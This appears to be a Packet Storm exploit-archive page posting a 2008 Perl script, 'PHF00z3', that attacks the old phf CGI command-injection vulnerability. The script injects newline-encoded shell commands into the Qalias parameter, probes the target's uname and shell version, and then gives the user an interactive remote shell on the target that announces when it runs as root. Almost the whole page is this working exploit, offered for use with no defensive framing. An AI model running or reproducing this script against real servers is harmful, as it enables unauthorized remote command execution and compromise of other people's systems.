exploit the possibilities

New Twist On The Old PHF Vulnerability

New Twist On The Old PHF Vulnerability
Posted Dec 30, 2008
Authored by Oxagast

New script that exploits the very, very, very old phf vulnerability.

tags | exploit
MD5 | dc516750512a332a8aa79438c7238407

New Twist On The Old PHF Vulnerability

Change Mirror Download
#!/usr/bin/perl

# greets to josh arielle matt carley

use WWW::Mechanize;
if (scalar(@ARGV) < 1) {
print "\n --=== PHF00z3 by Oxagast ===--\n\n";
print " useage: ./$0 hostname\n\n";
print " Play Nice :)\n";
exit();
}
$scrape = WWW::Mechanize->new(timeout => 3);
print "Connecting...\n";
print "Checking if exploitable...\n";
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Auname%20-a");
$unamea = $scrape->content();
@unameafeed = split(/\n/, $unamea);
for $stupidpres (0..scalar(@unameafeed)) {
if (@unameafeed[$stupidpres] =~ m/<PRE>/) {
$realunamea = @unameafeed[$stupidpres+1];
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Ash%20--version");
$shver = $scrape->content();
@shverfeed = split(/\n/, $shver);
for $stupidpres (0..scalar(@shverfeed)) {
if (@shverfeed[$stupidpres] =~ m/<PRE>/) {
@shverfeed[$stupidpres+1] =~ m/version (\d+\.\d)/;
if ($1 ne "") {
$realshver = "sh-$1";
}
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Als%20%20/bin");
$scraped = $scrape->content();
if($scraped =~ /chmod/m) {
if($scraped =~ /mkdir/m) {
if($scraped =~ /stty/m) {
$startup = 1;
$rootus = 0;
while (0 < 1) {
if ($startup == 1) {
$cmd = "id";

}
if ($startup == 0) {
if ($rootus == 0) {
print "$realshver\$ ";
}
if ($rootus == 1) {
print "$realshver\# ";
}
$cmd = <STDIN>;
}
$scrape->get("http:\/\/@ARGV[0]/cgi-bin/phf?Qalias=%0A$cmd");
$scraped = $scrape->content();
@feedback = split(/\n/, $scraped);
for $line (0..scalar(@feedback)) {
if (@feedback[$line] eq "<PRE>") {
$outs = $line + 1;
}
}
for $outline ($outs..scalar(@feedback)-2) {
if ($startup == 1) {
if (@feedback[$outline] =~ /\(root\)/) {
print "OOooooo now look what we have here... :P r00t\n";
print "$realunamea\n";
$rootus = 1;
}
else {
print "We got ourselves a shell... :)\n";
print "$realunamea\n";
}
}
print "@feedback[$outline]\n";
$startup = 0;
}
}
}
}
}

else {
print "OOps, doesn't look like she's vulnerable. :(\n";
}
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    15 Files
  • 14
    Apr 14th
    27 Files
  • 15
    Apr 15th
    19 Files
  • 16
    Apr 16th
    7 Files
  • 17
    Apr 17th
    1 Files
  • 18
    Apr 18th
    1 Files
  • 19
    Apr 19th
    19 Files
  • 20
    Apr 20th
    18 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close